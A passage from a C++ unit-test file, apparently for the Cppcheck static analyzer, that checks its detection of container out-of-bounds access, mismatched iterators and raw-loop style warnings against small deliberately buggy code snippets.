\" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" 